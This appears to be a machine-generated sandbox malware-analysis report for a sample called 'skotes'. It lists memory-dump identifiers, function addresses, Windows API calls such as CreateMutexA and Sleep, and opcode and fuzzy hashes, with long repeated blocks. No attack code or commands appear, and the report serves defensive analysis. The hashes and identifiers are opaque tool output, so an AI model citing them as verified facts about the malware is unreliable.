Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: df20cdc23e9009ca9501dd40aef2f0b1914265d389c6191262f2aee2c37870b2
Instruction ID: 392791e013f044744622a8dd503fa286e97d4916dcf0b7ca73cce698b0a71e66
Opcode Fuzzy Hash: df20cdc23e9009ca9501dd40aef2f0b1914265d389c6191262f2aee2c37870b2
Instruction Fuzzy Hash: 96312831B451049BEF08DB7CDC8DB6DB766EBC9314F248618E454DB6D2C77989808793

Function 0099A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 76724a507a6906fd7d35fb57f246027b129127aea93e2449bb6226fc80fb36d2
Instruction ID: 7060622bac5769519025b29a60494ce8f4216ef1d6f401299b17a01f7e65dc3f
Opcode Fuzzy Hash: 76724a507a6906fd7d35fb57f246027b129127aea93e2449bb6226fc80fb36d2
Instruction Fuzzy Hash: 91313931B052449BEF08DBBCDD89B6DB7B6EBC5310F248618E014976D1C779898087D2

Function 00999ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 835a14ec7af1aee35791401edf781fd6c9d16f4343556dc32bc823e5db9b5617
Instruction ID: 5509aec88d799a911b28c2b474e29d406e9f509704d61165c5a976c7874261f2
Opcode Fuzzy Hash: 835a14ec7af1aee35791401edf781fd6c9d16f4343556dc32bc823e5db9b5617
Instruction Fuzzy Hash: FA2146327042009BEF189B6CEC8DB6DB766FBC5310F20821DE4189B6D1CB7A89908692

Function 0099A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e53662c85b9c49e36ce67f0dfa321596c8170d14f30fc73be35fbb0a795a3f18
Instruction ID: 3d3c20f8120e0691101bf4e91985edb3d79551e9edad92ac6917211909d35ef9
Opcode Fuzzy Hash: e53662c85b9c49e36ce67f0dfa321596c8170d14f30fc73be35fbb0a795a3f18
Instruction Fuzzy Hash: 07217C313592018BEF2877AE8C9E73DB256EFC5304F344816E54CD62D2CB7A898081E3

Function 0099A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3a35e25e159a33489db7c036fef64331162af82bea137d6ed4b3c7dfab987f41
Instruction ID: 29ffc365111033c336fd7a85304a69a4798b9a54c098840262e0acd5928320c5
Opcode Fuzzy Hash: 3a35e25e159a33489db7c036fef64331162af82bea137d6ed4b3c7dfab987f41
Instruction Fuzzy Hash: 182168327442009BEF189B6CDC8A76DB766EBD6310F248219E418D76D1CB7A9A8087D2

Non-executed Functions

Function 009CCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009CCC66

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 3d4d52e5f76ba8b0261ce0354c44c00c8792f4207271ebf9b39b7fe0705ad469
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: ECB115B2D042459FDB11CF68C841FAEBFA5EF46340F14856EE459EB382D6348D41CB62

Function 00992EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00992F5F
__Mtx_unlock.LIBCPMT ref: 00992FCC
__Mtx_unlock.LIBCPMT ref: 009930F5
__Mtx_unlock.LIBCPMT ref: 0099319B

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
